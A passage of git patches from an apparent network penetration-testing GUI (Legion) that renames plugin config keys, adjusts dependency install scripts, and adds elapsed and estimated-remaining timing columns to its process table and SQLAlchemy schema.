-qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb gksu -y echo "Installing Python Libraries..." -pip3 install asyncio aiohttp aioredis aiomonitor apscheduler Quamash +./installPythonLibs.sh diff --git a/plugins/azureCveQuery/azureCveQuery.py b/plugins/azureCveQuery/azureCveQuery.py index 88da06d3..43137127 100644 --- a/plugins/azureCveQuery/azureCveQuery.py +++ b/plugins/azureCveQuery/azureCveQuery.py @@ -16,7 +16,7 @@ app.blueprint(swagger_blueprint) config = configparser.ConfigParser() -config.read('./mlie.conf') +config.read('./azureCveQuery.conf') redisHost = str(config.get('redis', 'host')) redisPort = int(config.get('redis', 'port')) @@ -26,14 +26,14 @@ apiServerPort = int(config.get('api', 'port')) azureMlsWebServiceUrl = str(config.get('azure', 'webServiceUrl')) azureMlsWebServiceKey = str(config.get('azure', 'webServiceKey')) -serviceCycleTime = int(config.get('azureMlsRestService', 'serviceCycleTime')) +serviceCycleTime = int(config.get('azureCveQuery', 'serviceCycleTime')) metricLimit = int(config.get('metrics', 'metricLimit')) metricAverageLimit = int(config.get('metrics', 'averageLimit')) logFile = str(config.get('logging', 'logFilename')) debug = bool(config.get('general', 'debug')) heartbeatInterval = int(config.get('general', 'heartbeatInterval')) -log = get_logger('azureMlsRestServiceLogger', path=logFile) +log = get_logger('azureCveQueryLogger', path=logFile) log.setLevel(logging.INFO) azureMlsQuery = { @@ -95,7 +95,7 @@ async def wrap(*args, **kw): async def heartbeat(pub): timeNow = str(datetime.now()) log.info('Tick tock! The time is: {timeNow}'.format(timeNow=timeNow)) - await publishToRedis(pub, 'heartbeats', {'azureMlsRestService':timeNow}) + await publishToRedis(pub, 'heartbeats', {'azureCveQuery':timeNow}) # Enque aquisition of PagerDuty Incidents and publiush them @timing diff --git a/startLegion.sh b/startLegion.sh index 624fa142..0fe5a43c 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -53,4 +53,4 @@ then fi fi -gksu python3 legion.py +gksu python3.6 legion.py diff --git a/ui/gui.py b/ui/gui.py index 363e184d..2f383fd4 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -165,7 +165,7 @@ def setupRightPanel(self): self.DisplayWidget.setObjectName('ToolOutput') self.DisplayWidget.setSizePolicy(self.sizePolicy2) ### ? - self.toolOutputTextView = QtWidgets.QTextEdit(self.DisplayWidget) + #self.toolOutputTextView = QtWidgets.QTextEdit(self.DisplayWidget) self.toolOutputTextView = QtWidgets.QPlainTextEdit(self.DisplayWidget) self.toolOutputTextView.setReadOnly(True) self.DisplayWidgetLayout = QtWidgets.QHBoxLayout(self.DisplayWidget) From 69ef8ad3733070b56a936eacf633c620b83d9d88 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 28 Nov 2018 13:23:25 -0600 Subject: [PATCH 046/450] Cleanup --- deps/requirements.txt | 19 ------------------- deps/test | 7 ------- 2 files changed, 26 deletions(-) delete mode 100644 deps/requirements.txt delete mode 100644 deps/test diff --git a/deps/requirements.txt b/deps/requirements.txt deleted file mode 100644 index 3dd70437..00000000 --- a/deps/requirements.txt +++ /dev/null @@ -1,19 +0,0 @@ -Twisted -scapy -bs4 -netaddr -config -dnspython -isc_dhcp_leases -netifaces -pcapy -NetfilterQueue -configobj -libarchive-c==2.1 -python-magic==0.4.6 -pefile -capstone -hyperframe -h2 -scapy_http -service_identity diff --git a/deps/test b/deps/test deleted file mode 100644 index 3faeca22..00000000 --- a/deps/test +++ /dev/null @@ -1,7 +0,0 @@ -test=`python3.6 --version` - -if [[ $test != "Python 3.6.6" ]] -then - echo "Not 3.6.6" -fi - From 9e2be14e98c71028b79fba1a4dfa805058e49b82 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 28 Nov 2018 13:37:32 -0600 Subject: [PATCH 047/450] Minor fix --- deps/installDeps.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 363776e5..0ca5fae2 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -2,4 +2,5 @@ # Install deps echo "Updating Apt database..." sudo apt-get update -sudo apt-get install -y build-essential libreadline-gplv2-dev libncursesw5-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev python3-dev libssl1.0-dev python-netlib libjpeg62-turbo-dev libxml2-dev libxslt1-dev python-dev libnetfilter-queue-dev qt4-qmake libqt4-dev libsqlite3-dev +sudo apt-get install -yqq build-essential libreadline-gplv2-dev libncursesw5-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev python3-dev libssl1.0-dev libjpeg62-turbo-dev libxml2-dev libxslt1-dev python-dev libnetfilter-queue-dev qt4-qmake libqt4-dev libsqlite3-dev +sudo apt-get install -yqq python-netlib From 545cb3546347acb72bff6fb60a172f384b458a55 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 6 Dec 2018 07:28:43 -0600 Subject: [PATCH 048/450] New UI elements --- app/auxiliary.py | 1 + app/logic.py | 18 ++- app/processmodels.py | 23 ++- controller/controller.py | 21 +++ db/database.py | 294 ++++++++++++++++++++------------------- test.py | 29 ++++ ui/view.py | 51 +++---- 7 files changed, 254 insertions(+), 183 deletions(-) create mode 100644 test.py diff --git a/app/auxiliary.py b/app/auxiliary.py index 737e2161..4e5e7541 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -209,6 +209,7 @@ def __init__(self, name, tabtitle, hostip, port, protocol, command, starttime, o self.starttime = starttime self.outputfile = outputfile self.display = textbox # has its own display widget to be able to display its output in the GUI + self.elapsed = -1 @pyqtSlot() # this slot allows the process to append its output to the display widget def readStdOutput(self): diff --git a/app/logic.py b/app/logic.py index 168e2cf7..a68972f2 100644 --- a/app/logic.py +++ b/app/logic.py @@ -386,32 +386,29 @@ def getPidForProcess(self, procid): def toggleHostCheckStatus(self, ipaddr): session = self.db.session() h = session.query(nmap_host).filter_by(ip=ipaddr).first() - # h = nmap_host.query.filter_by(ip=ipaddr).first() if h: if h.checked == 'False': h.checked = 'True' else: h.checked = 'False' session.add(h) - #session.commit() self.db.commit() # this function adds a new process to the DB def addProcessToDB(self, proc): log.info('Add process') p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', p_output) + p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', p_output, 100, 0) log.info(p) session = self.db.session() session.add(p) - #session.commit() self.db.commit() proc.id = p.id return p.id def addScreenshotToDB(self, ip, port, filename): p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process("-2", "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output) + p = process("-2", "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output, 2, 0) session = self.db.session() session.add(p) session.commit() @@ -422,7 +419,6 @@ def addScreenshotToDB(self, ip, port, filename): def toggleProcessDisplayStatus(self, resetAll=False): session = self.db.session() proc = session.query(process).filter_by(display='True').all() - #proc = process.query.filter_by(display='True').all() if resetAll == True: for p in proc: if p.status != 'Running': @@ -433,7 +429,6 @@ def toggleProcessDisplayStatus(self, resetAll=False): if p.status != 'Running' and p.status != 'Waiting': p.display = 'False' session.add(p) - #session.commit() self.db.commit() # this function updates the status of a process if it is killed @@ -492,6 +487,15 @@ def storeCloseTabStatusInDB(self, procId): session.add(proc) #session.commit() self.db.commit() + + # change the status in the db as closed + def storeProcessRunningElapsedInDB(self, procId, elapsed): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + if proc: + proc.elapsed = elapsed + session.add(proc) + self.db.commit() # this function stores a finished process' output to the DB and updates it status def storeProcessOutputInDB(self, procId, output): diff --git a/app/processmodels.py b/app/processmodels.py index 965742b0..8797a50f 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -54,20 +54,31 @@ def data(self, index, role): # this metho value = '' row = index.row() column = index.column() - processColumns = {1:'display', 2:'pid', 3:'name', 5:'hostip', 7:'protocol', 8:'command', 9:'starttime', 10:'endtime', 11:'outputfile', 12:'output', 13:'status', 14:'closed'} + processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedremaining', 4:'pid', 5:'name', 6:'tabtitle', 7:'hostip', 8:'port', 9:'protocol', 10:'command', 11:'starttime', 12:'endtime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} if column == 0: value = '' - elif column == 4: + elif column == 2: + value = "{0}{1}".format(str(self.__processes[row]['elapsed']), "s") + elif column == 3: + status = str(self.__processes[row]['status']) + if status == "Finished" or status == "Crashed" or status == "Killed": + estimatedRemaining = 0 + else: + estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - int(self.__processes[row]['elapsed']) + value = "{0}{1}".format(str(estimatedRemaining), "s") + elif column == 6: if not self.__processes[row]['tabtitle'] == '': value = self.__processes[row]['tabtitle'] else: value = self.__processes[row]['name'] - elif column == 6: + elif column == 8: if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] else: value = self.__processes[row]['port'] + elif column == 16: + value = "" else: value = self.__processes[row][processColumns.get(int(column))] return value @@ -76,13 +87,13 @@ def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() array=[] - sortColumns = {3:'name', 4:'tabtitle', 9:'starttime', 10:'endtime'} + sortColumns = {5:'name', 6:'tabtitle', 11:'starttime', 12:'endtime'} - if Ncol == 5: + if Ncol == 7: for i in range(len(self.__processes)): array.append(IP2Int(self.__processes[i]['hostip'])) - elif Ncol == 6: + elif Ncol == 8: for i in range(len(self.__processes)): if self.__processes[i]['port'] == '': return diff --git a/controller/controller.py b/controller/controller.py index 6d897e9e..e493e0aa 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -37,6 +37,7 @@ def __init__(self, view, logic): self.initBrowserOpener() self.start() # initialisations (globals, etc) self.initTimers() + self.processTimers = {} # initialisations that will happen everytime we create/open a project - can happen several times in the program's lifetime def start(self, title='*untitled'): @@ -514,7 +515,19 @@ def killRunningProcesses(self): # this function creates a new process, runs the command and takes care of displaying the ouput. returns the PID # the last 3 parameters are only used when the command is a staged nmap + def runCommand(self, *args, discovery=True, stage=0, stop=False): + def handleProcStop(*vargs): + updateElapsed.stop() + self.processTimers[qProcess.id] = None + + def handleProcUpdate(*vargs): + procTime = timer.elapsed() / 1000 + qProcess.elapsed = procTime + self.logic.storeProcessRunningElapsedInDB(qProcess.id, procTime) + #self.updateUITimer.start(1000) + self.view.updateProcessesTableView() + name = args[0] tabtitle = args[1] hostip = args[2] @@ -524,10 +537,18 @@ def runCommand(self, *args, discovery=True, stage=0, stop=False): starttime = args[6] outputfile = args[7] textbox = args[8] + timer = QtCore.QTime() + updateElapsed = QTimer() + self.logic.createFolderForTool(name) qProcess = MyQProcess(name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox) + qProcess.started.connect(timer.start) + qProcess.finished.connect(handleProcStop) + updateElapsed.timeout.connect(handleProcUpdate) textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) + updateElapsed.start(1000) + self.processTimers[qProcess.id] = updateElapsed log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) diff --git a/db/database.py b/db/database.py index c855bb61..d0b3baa0 100644 --- a/db/database.py +++ b/db/database.py @@ -26,191 +26,195 @@ class process(Base): __tablename__ = 'process' pid = Column(String) - id = Column(Integer, primary_key=True) - display=Column(String) - name=Column(String) - tabtitle=Column(String) - hostip=Column(String) - port=Column(String) - protocol=Column(String) - command=Column(String) - starttime=Column(String) - endtime=Column(String) - outputfile=Column(String) - output=relationship("process_output", uselist=False, backref="process") - status=Column(String) - closed=Column(String) + id = Column(Integer, primary_key = True) + display = Column(String) + name = Column(String) + tabtitle = Column(String) + hostip = Column(String) + port = Column(String) + protocol = Column(String) + command = Column(String) + starttime = Column(String) + endtime = Column(String) + estimatedremaining = Column(Integer) + elapsed = Column(Integer) + outputfile = Column(String) + output = relationship("process_output", uselist = False, backref = "process") + status = Column(String) + closed = Column(String) def __init__(self, pid, *args): - self.display='True' - self.pid=pid - self.name=args[0] - self.tabtitle=args[1] - self.hostip=args[2] - self.port=args[3] - self.protocol=args[4] - self.command=args[5] - self.starttime=args[6] - self.endtime=args[7] - self.outputfile=args[8] - self.output=args[10] - self.status=args[9] - self.closed='False' + self.display = 'True' + self.pid = pid + self.name = args[0] + self.tabtitle = args[1] + self.hostip = args[2] + self.port = args[3] + self.protocol = args[4] + self.command = args[5] + self.starttime = args[6] + self.endtime = args[7] + self.outputfile = args[8] + self.output = args[10] + self.status = args[9] + self.closed = 'False' + self.estimatedremaining = args[11] + self.elapsed = args[12] # This class holds various info about an nmap scan class nmap_session(Base): __tablename__ = 'nmap_session' - filename=Column(String, primary_key=True) - start_time=Column(String) - finish_time=Column(String) - nmap_version=Column(String) - scan_args=Column(String) - total_hosts=Column(String) - up_hosts=Column(String) - down_hosts=Column(String) + filename = Column(String, primary_key = True) + start_time = Column(String) + finish_time = Column(String) + nmap_version = Column(String) + scan_args = Column(String) + total_hosts = Column(String) + up_hosts = Column(String) + down_hosts = Column(String) def __init__(self, filename, *args, **kwargs): - self.filename=filename - self.start_time=args[0] - self.finish_time=args[1] - self.nmap_version=kwargs.get('nmap_version') or 'unknown' - self.scan_args=kwargs.get('scan_args') or '' - self.total_hosts=kwargs.get('total_host') or '0' - self.up_hosts=kwargs.get('up_hosts') or '0' - self.down_hosts=kwargs.get('down_hosts') or '0' + self.filename = filename + self.start_time = args[0] + self.finish_time = args[1] + self.nmap_version = kwargs.get('nmap_version') or 'unknown' + self.scan_args = kwargs.get('scan_args') or '' + self.total_hosts = kwargs.get('total_host') or '0' + self.up_hosts = kwargs.get('up_hosts') or '0' + self.down_hosts = kwargs.get('down_hosts') or '0' class nmap_os(Base): __tablename__ = 'nmap_os' - id=Column(Integer, primary_key=True) - name=Column(String) - family=Column(String) - generation=Column(String) - os_type=Column(String) - vendor=Column(String) - accuracy=Column(String) - host_id=Column(String, ForeignKey('nmap_host.id')) + id = Column(Integer, primary_key = True) + name = Column(String) + family = Column(String) + generation = Column(String) + os_type = Column(String) + vendor = Column(String) + accuracy = Column(String) + host_id = Column(String, ForeignKey('nmap_host.id')) def __init__(self, name, *args): - self.name=name - self.family=args[0] - self.generation=args[1] - self.os_type=args[2] - self.vendor=args[3] - self.accuracy=args[4] - self.host_id=args[5] + self.name = name + self.family = args[0] + self.generation = args[1] + self.os_type = args[2] + self.vendor = args[3] + self.accuracy = args[4] + self.host_id = args[5] class nmap_port(Base): __tablename__ = 'nmap_port' - port_id=Column(String) - id=Column(Integer, primary_key=True) - protocol=Column(String) - state=Column(String) - host_id=Column(String, ForeignKey('nmap_host.id')) - service_id=Column(String, ForeignKey('nmap_service.id')) - script_id=Column(String, ForeignKey('nmap_script.id')) - - def __init__(self, port_id, protocol, state, host, service=''): - self.port_id=port_id - self.protocol=protocol - self.state=state - self.service_id=service - self.host_id=host + port_id = Column(String) + id = Column(Integer, primary_key = True) + protocol = Column(String) + state = Column(String) + host_id = Column(String, ForeignKey('nmap_host.id')) + service_id = Column(String, ForeignKey('nmap_service.id')) + script_id = Column(String, ForeignKey('nmap_script.id')) + + def __init__(self, port_id, protocol, state, host, service = ''): + self.port_id = port_id + self.protocol = protocol + self.state = state + self.service_id = service + self.host_id = host class nmap_service(Base): __tablename__ = 'nmap_service' - name=Column(String) - id=Column(Integer, primary_key=True) - product=Column(String) - version=Column(String) - extrainfo=Column(String) - fingerprint=Column(String) - port=relationship(nmap_port) - - def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): - self.name=name - self.product=product - self.version=version - self.extrainfo=extrainfo - self.fingerprint=fingerprint + name = Column(String) + id = Column(Integer, primary_key = True) + product = Column(String) + version = Column(String) + extrainfo = Column(String) + fingerprint = Column(String) + port = relationship(nmap_port) + + def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = ''): + self.name = name + self.product = product + self.version = version + self.extrainfo = extrainfo + self.fingerprint = fingerprint class nmap_script(Base): __tablename__ = 'nmap_script' - script_id=Column(String) - id = Column(Integer, primary_key=True) - output=Column(String) - port_id=Column(String, ForeignKey('nmap_port.id')) - host_id=Column(String, ForeignKey('nmap_host.id')) + script_id = Column(String) + id = Column(Integer, primary_key = True) + output = Column(String) + port_id = Column(String, ForeignKey('nmap_port.id')) + host_id = Column(String, ForeignKey('nmap_host.id')) def __init__(self, script_id, output, portId, hostId): - self.script_id=script_id - self.output=unicode(output) - self.port_id=portId - self.host_id=hostId + self.script_id = script_id + self.output = unicode(output) + self.port_id = portId + self.host_id = hostId class nmap_host(Base): __tablename__ = 'nmap_host' - checked=Column(String) - os_match=Column(String) - os_accuracy=Column(String) - ip=Column(String) - ipv4=Column(String) - ipv6=Column(String) - macaddr=Column(String) - status=Column(String) - hostname=Column(String) - host_id=Column(String) - id = Column(Integer, primary_key=True) - vendor=Column(String) - uptime=Column(String) - lastboot=Column(String) - distance=Column(String) - state=Column(String) - count=Column(String) + checked = Column(String) + os_match = Column(String) + os_accuracy = Column(String) + ip = Column(String) + ipv4 = Column(String) + ipv6 = Column(String) + macaddr = Column(String) + status = Column(String) + hostname = Column(String) + host_id = Column(String) + id = Column(Integer, primary_key = True) + vendor = Column(String) + uptime = Column(String) + lastboot = Column(String) + distance = Column(String) + state = Column(String) + count = Column(String) # host relationships - os=relationship(nmap_os) - ports=relationship(nmap_port) + os = relationship(nmap_os) + ports = relationship(nmap_port) def __init__(self, **kwargs): - self.checked=kwargs.get('checked') or 'False' - self.os_match=kwargs.get('os_match') or 'unknown' - self.os_accuracy=kwargs.get('os_accuracy') or 'NaN' - self.ip=kwargs.get('ip') or 'unknown' - self.ipv4=kwargs.get('ipv4') or 'unknown' - self.ipv6=kwargs.get('ipv6') or 'unknown' - self.macaddr=kwargs.get('macaddr') or 'unknown' - self.status=kwargs.get('status') or 'unknown' - self.hostname=kwargs.get('hostname') or 'unknown' - self.host_id=kwargs.get('hostname') or 'unknown' - self.vendor=kwargs.get('vendor') or 'unknown' - self.uptime=kwargs.get('uptime') or 'unknown' - self.lastboot=kwargs.get('lastboot') or 'unknown' - self.distance=kwargs.get('distance') or 'unknown' - self.state=kwargs.get('state') or 'unknown' - self.count=kwargs.get('count') or 'unknown' + self.checked = kwargs.get('checked') or 'False' + self.os_match = kwargs.get('os_match') or 'unknown' + self.os_accuracy = kwargs.get('os_accuracy') or 'NaN' + self.ip = kwargs.get('ip') or 'unknown' + self.ipv4 = kwargs.get('ipv4') or 'unknown' + self.ipv6 = kwargs.get('ipv6') or 'unknown' + self.macaddr = kwargs.get('macaddr') or 'unknown' + self.status = kwargs.get('status') or 'unknown' + self.hostname = kwargs.get('hostname') or 'unknown' + self.host_id = kwargs.get('hostname') or 'unknown' + self.vendor = kwargs.get('vendor') or 'unknown' + self.uptime = kwargs.get('uptime') or 'unknown' + self.lastboot = kwargs.get('lastboot') or 'unknown' + self.distance = kwargs.get('distance') or 'unknown' + self.state = kwargs.get('state') or 'unknown' + self.count = kwargs.get('count') or 'unknown' class note(Base): __tablename__ = 'note' - host_id=Column(Integer, ForeignKey('nmap_host.id')) - id = Column(Integer, primary_key=True) - text=Column(String) + host_id = Column(Integer, ForeignKey('nmap_host.id')) + id = Column(Integer, primary_key = True) + text = Column(String) def __init__(self, hostId, text): - self.text=unicode(text) - self.host_id=hostId + self.text = unicode(text) + self.host_id = hostId class process_output(Base): __tablename__ = 'process_output' - #output=Column(String, primary_key=True) - id=Column(Integer, primary_key=True) - process_id=Column(Integer, ForeignKey('process.pid')) - output=(String) + #output = Column(String, primary_key = True) + id = Column(Integer, primary_key = True) + process_id = Column(Integer, ForeignKey('process.pid')) + output = (String) def __init__(self): - self.output=unicode('') + self.output = unicode('') class Database: @@ -218,9 +222,9 @@ def __init__(self, dbfilename): try: self.name = dbfilename self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) self.session = scoped_session(sessionmaker()) - self.session.configure(bind=self.engine) + self.session.configure(bind = self.engine) self.metadata = Base.metadata self.metadata.create_all(self.engine) self.metadata.echo = True @@ -233,9 +237,9 @@ def openDB(self, dbfilename): try: self.name = dbfilename self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) self.session = scoped_session(sessionmaker()) - self.session.configure(bind=self.engine) + self.session.configure(bind = self.engine) self.metadata = Base.metadata self.metadata.create_all(self.engine) self.metadata.echo = True diff --git a/test.py b/test.py new file mode 100644 index 00000000..7232c976 --- /dev/null +++ b/test.py @@ -0,0 +1,29 @@ +import sys +from PyQt5 import QtCore, QtWidgets + +class Thread(QtCore.QThread): + def __init__(self): + QtCore.QThread.__init__(self) + + def run(self): + thread_func() + self.exec_() + +timers = [] + +def thread_func(): + print("Thread works") + timer = QtCore.QTimer() + timer.timeout.connect(timer_func) + timer.start(1000) + print(timer.remainingTime()) + print(timer.isActive()) + timers.append(timer) + +def timer_func(): + print("Timer works") + +app = QtWidgets.QApplication(sys.argv) +thread_instance = Thread() +thread_instance.start() +sys.exit(app.exec_()) diff --git a/ui/view.py b/ui/view.py index 1bf6e863..b06e2a4d 100644 --- a/ui/view.py +++ b/ui/view.py @@ -176,7 +176,7 @@ def startConnections(self): # signal ini def initTables(self): # this function prepares the default settings for each table # hosts table (left) - headers = ["Id","OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count","Padding"] + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Padding"] setTableProperties(self.ui.HostsTableView, len(headers), [0,2,4,5,6,7,8,9,10,11,12,13,14,15,16]) self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) @@ -185,32 +185,32 @@ def initTables(self): # this funct setTableProperties(self.ui.ServiceNamesTableView, len(headers)) # tools table (left) - headers = ["Progress","Display","Pid","Tool","Tool","Host","Port","Protocol","Command","Start time","OutputFile","Output","Status"] + headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ToolsTableView, len(headers), [0,1,2,4,5,6,7,8,9,10,11,12,13]) # service table (right) - headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [0,1,5,6,8,10,11]) # ports by service (right) - headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [2,5,6,8,10,11]) self.ui.ServicesTableView.horizontalHeader().resizeSection(0,130) # resize IP # scripts table (right) headers = ["Id", "Script", "Port", "Protocol"] - setTableProperties(self.ui.ScriptsTableView, len(headers), [0,3]) + setTableProperties(self.ui.ScriptsTableView, len(headers), [0, 3]) # tool hosts table (right) - headers = ["Progress","Display","Pid","Name","Action","Target","Port","Protocol","Command","Start time","OutputFile","Output","Status"] - setTableProperties(self.ui.ToolHostsTableView, len(headers), [0,1,2,3,4,7,8,9,10,11,12]) + headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + setTableProperties(self.ui.ToolHostsTableView, len(headers), [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12]) self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column # process table - headers = ["Progress","Display","Pid","Name","Tool","Host","Port","Protocol","Command","Start time","OutputFile","Output","Status"] - setTableProperties(self.ui.ProcessesTableView, len(headers), [1,2,3,6,7,8,11,12,14]) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,250) + headers = ["Progress", "Elapsed", "Estimated Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(0, 125) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(4, 250) def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) @@ -289,7 +289,7 @@ def openExistingProject(self): if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): log.info('Insufficient permissions to open this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.","Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.", "Ok") return self.controller.openExistingProject(filename) @@ -333,7 +333,7 @@ def saveProjectAs(self): if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): log.info('Insufficient permissions on this folder.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.","Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.", "Ok") else: if self.controller.saveProjectAs(filename): @@ -417,7 +417,7 @@ def importNmap(self): if not os.access(filename, os.R_OK): # check for read permissions on the xml file log.info('Insufficient permissions to read this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.","Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.", "Ok") return self.importProgressWidget.reset('Importing nmap..') @@ -866,7 +866,7 @@ def contextMenuScreenshot(self, pos): def updateHostsTableView(self): # TACOS - headers = ["Id","OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count","Padding"] + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Padding"] self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) @@ -913,7 +913,7 @@ def updateServiceNamesTableView(self): def updateToolsTableView(self): if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': - headers = ["Progress","Display","Pid","Tool","Tool","Host","Port","Protocol","Command","Start time","End time","OutputFile","Output","Status","Closed"] + headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters), headers) self.ui.ToolsTableView.setModel(self.ToolsTableModel) @@ -938,7 +938,7 @@ def updateToolsTableView(self): #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateServiceTableView(self, hostIP): - headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.filters), headers) self.ui.ServicesTableView.setModel(self.ServicesTableModel) @@ -951,7 +951,7 @@ def updateServiceTableView(self, hostIP): self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) def updatePortsByServiceTableView(self, serviceName): - headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.filters), headers) self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) @@ -1033,7 +1033,7 @@ def updateNotesView(self, hostid): self.setDirty(False) def updateToolHostsTableView(self, toolname): - headers = ["Progress","Display","Pid","Name","Action","Target","Port","Protocol","Command","Start time","OutputFile","Output","Status","Closed"] + headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status", "Closed"] self.ToolHostsTableModel = ProcessesTableModel(self,self.controller.getHostsForTool(toolname), headers) self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) @@ 